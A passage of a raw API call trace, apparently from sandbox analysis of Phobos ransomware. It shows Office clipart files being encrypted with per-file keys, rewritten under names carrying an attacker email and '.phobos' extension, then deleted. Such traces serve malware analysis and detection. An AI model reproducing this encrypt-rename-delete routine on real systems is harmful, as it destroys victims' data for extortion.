[0135.189] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x844, lpOverlapped=0x0) returned 1 [0135.214] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x850, dwBufLen=0x850 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x850) returned 1 [0135.214] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x850, lpOverlapped=0x0) returned 1 [0135.214] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753158) returned 1 [0135.214] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.214] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.215] CryptDestroyKey (hKey=0x753158) returned 1 [0135.215] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.215] CryptDestroyKey (hKey=0x752b18) returned 1 [0135.215] CloseHandle (hObject=0x30c) returned 1 [0135.215] CloseHandle (hObject=0x310) returned 1 [0135.215] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0135.216] SetEvent (hEvent=0x2b8) returned 1 [0135.216] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.216] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=11490) returned 1 [0135.216] CloseHandle (hObject=0x310) returned 1 [0135.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0135.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.216] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.216] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.217] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752ad8) returned 1 [0135.217] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.217] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x2ce2, lpOverlapped=0x0) returned 1 [0135.282] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2cf0) returned 1 [0135.282] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x2cf0, lpOverlapped=0x0) returned 1 [0135.283] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752e58) returned 1 [0135.283] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.283] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.283] CryptDestroyKey (hKey=0x752e58) returned 1 [0135.283] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.283] CryptDestroyKey (hKey=0x752ad8) returned 1 [0135.283] CloseHandle (hObject=0x310) returned 1 [0135.283] CloseHandle (hObject=0x30c) returned 1 [0135.283] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0135.284] SetEvent (hEvent=0x2b8) returned 1 [0135.284] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.284] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=7084) returned 1 [0135.284] CloseHandle (hObject=0x30c) returned 1 [0135.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0135.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.285] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.285] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.285] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752cd8) returned 1 [0135.286] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.286] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x1bac, lpOverlapped=0x0) returned 1 [0135.324] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1bb0, dwBufLen=0x1bb0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1bb0) returned 1 [0135.324] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1bb0, lpOverlapped=0x0) returned 1 [0135.325] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752ed8) returned 1 [0135.325] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.325] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.325] CryptDestroyKey (hKey=0x752ed8) returned 1 [0135.325] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.326] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.326] CloseHandle (hObject=0x30c) returned 1 [0135.326] CloseHandle (hObject=0x310) returned 1 [0135.326] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0135.327] SetEvent (hEvent=0x2b8) returned 1 [0135.327] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.327] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=7098) returned 1 [0135.327] CloseHandle (hObject=0x310) returned 1 [0135.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0135.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.328] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.328] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.328] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752c58) returned 1 [0135.328] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.328] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x1bba, lpOverlapped=0x0) returned 1 [0135.406] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1bc0) returned 1 [0135.406] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1bc0, lpOverlapped=0x0) returned 1 [0135.436] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752fd8) returned 1 [0135.436] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.436] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.436] CryptDestroyKey (hKey=0x752fd8) returned 1 [0135.436] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.437] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.437] CloseHandle (hObject=0x310) returned 1 [0135.437] CloseHandle (hObject=0x30c) returned 1 [0135.437] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0135.438] SetEvent (hEvent=0x2b8) returned 1 [0135.438] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.438] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2756) returned 1 [0135.438] CloseHandle (hObject=0x30c) returned 1 [0135.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0135.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.438] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.438] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.444] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752c58) returned 1 [0135.444] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.444] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xac4, lpOverlapped=0x0) returned 1 [0135.531] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xad0, dwBufLen=0xad0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xad0) returned 1 [0135.531] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xad0, lpOverlapped=0x0) returned 1 [0135.533] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0135.533] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.533] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.533] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.533] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.533] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.533] CloseHandle (hObject=0x30c) returned 1 [0135.533] CloseHandle (hObject=0x310) returned 1 [0135.534] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0135.534] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.535] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=7340) returned 1 [0135.535] CloseHandle (hObject=0x310) returned 1 [0135.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0135.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.535] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.535] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0135.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.536] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753158) returned 1 [0135.536] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.536] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x1cac, lpOverlapped=0x0) returned 1 [0135.558] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1cb0) returned 1 [0135.558] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1cb0, lpOverlapped=0x0) returned 1 [0135.563] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753198) returned 1 [0135.563] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0135.563] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0135.563] CryptDestroyKey (hKey=0x753198) returned 1 [0135.563] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0135.563] CryptDestroyKey (hKey=0x753158) returned 1 [0135.563] CloseHandle (hObject=0x310) returned 1 [0135.563] CloseHandle (hObject=0x30c) returned 1 [0135.570] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0135.572] SetEvent (hEvent=0x2b8) returned 1 [0135.572] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0135.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0135.572] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=15806) returned 1 [0135.572] CloseHandle 